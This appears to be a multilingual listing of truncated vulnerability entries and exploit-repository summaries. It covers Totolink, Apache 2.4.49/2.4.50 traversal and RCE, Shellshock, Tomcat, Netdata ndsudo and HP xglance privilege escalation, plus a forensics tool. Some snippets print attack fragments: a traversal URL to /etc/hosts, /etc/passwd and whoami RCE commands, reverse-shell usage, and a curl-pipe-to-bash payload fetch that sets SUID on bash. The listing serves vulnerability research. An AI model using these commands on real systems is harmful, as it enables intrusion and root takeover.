CVE-2026-105284

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284

The Totolink A3002MU (version 1.0.0-B20230403.1455) is vulnerable to improper authorization due to a weakness in the sub_40FCFC function of the /bin/boa file within the Authentication Check component. An attacker can launch a remote manipulation to bypass authorization controls. Public exploit co...

EUVD-2026-92331

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

rifiuti2

简介 Rifiuti2 是一款用于分析 Windows 回收站 INFO2 文件的工具。在进行 Windows 计算机取证时，通常需要分析回收站内容。Rifiuti2 能够提取文件删除时间、原始路径、已删除文件的大小，以及被回收的文件是否已被永久删除。 如果你对其功能和特性感兴趣，请访问官方网站了解更多信息。 特别说明 最新功能与变更可在 NEWS 文件 中查看。 0.8.2 针对少数较不常见架构的缺陷修复版本。 启用 GitHub 工件验证。 0.8.1 JSON 输出格式、WSL v2 支持，并增强读取损坏数据时的健壮性。 0.8.0 Windows 二进制文件将通过 MSYS2...

rifiuti2

Introduction Rifiuti2 is a for analyzing Windows Recycle Bin INFO2 file. Analysis of Windows Recycle Bin is usually carried out during Windows computer forensics. Rifiuti2 can extract file deletion time, original path and size of deleted files and whether the trashed files have been permanently...

exploitApache

exploitApache CVE-2021-41773:Path Traversal cgi-bin 用のエクスプロイト...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 のパストラバーサルまたはリモートコード実行の脆弱性を発見するのに役立つ Python スクリプトです。CVE-2021-42013 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合は、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

cgi-bin-shellshock

使い方 リポジトリをクローンする（または好きな方をコピー＆ペースト） sudo git clone https://github.com/Gurguii/shellshock.sh スクリプトを実行する Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 注：デフォルトのLPORTは4444、URLが必要です。URLのみ指定された場合はRCE、lhostとlportが指定された場合はRSHELLを実行します。...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC バイナリをビルド: go build -ldflags "-s -w" -o nvme poc.go upx nvme bashスクリプトを実行: bash exploit.sh ターゲットマシンで書き込み可能なディレクトリで実行: curl http://:8000/payload.sh | bash これにより、nvmeバイナリが自動的にダウンロードされ、パスがエクスポートされ、ndsudoが実行され、/bin/bashにSUID が追加されます。...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 のPOCを開発しました。RCE + cgi-bin パストラバーサルです。 注 : Apache2 2.4.49 でテスト済み 脆弱性のある Apache2 2.4.49 を Docker から直接プルできます $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 パストラバーサル RCE 要件...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 の POC ソース:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： Usage: python CVE-2019-0232.py url cmd テスト環境： jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 の PoC とラボ ラボのセットアップ $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE 用のPython3スクリプトです。RCEにはcgi-binが有効である必要があります。 はじめに プログラムの実行 LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t http://apache.hack/ -rce whoami Pseudo-shell python...

cve-2021-41773

Apache 2.4.49 - パストラバーサルまたはリモートコード実行 cve-2021-41773.py は、Apache 2.4.49 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するための Python スクリプトです。CVE-2021-41773 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

perf-exploiter

perf-exploiter CVE-2014-2630 在我们最近的一次渗透测试中，我们利用了一个影响名为“xglance-bin”的 suid 二进制文件的漏洞。作为 HP Performance Monitoring 解决方案 的一部分，它使我们能够在一些 Linux RHEL 7.x/8.x 系统上将本地非特权会话提升至 root 权限。老实说，这并不是我们第一次利用这个特定漏洞，自 2014 年以来，我们已在许多安装了 RHEL 的 HP 服务器上频繁滥用该漏洞。 该漏洞确实有一个已注册的 CVE 编号（CVE-2014-2630），最初由 Portcullis 的 Tim...

Bin-Finder

説明 このツールは、特定のバイナリがロードされているプロセス、またはロードされていないプロセスを検索します。これは以下のシナリオで役立ちます。 特定のEDR/AV DLLがロードされていないプロセスを検出できます。これにより、EDRの例外検出につながる可能性があります。 最小限のプロセス間アクティビティで特定のプロセスのPIDを取得できます（例：c:\windows\sytem32\lsass.exe がロードされたプロセスを検索すると、LsassのPIDが得られます）。 実行中の各svchostプロセスを反復処理することなく、サービスまたはRPC/COMサーバーのPIDを取得できます。...

EUVD-2026-80863

Composer: GHSA-gjfg-22fp-rrxx fix bypass via symlinked package bin path...

CVE-2021-41773

CVE-2021-41773 易受攻击的服务 安装 几种方式： 1. Docker 容器 docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t apache2449cve-2021-41773 . docker run -d -p...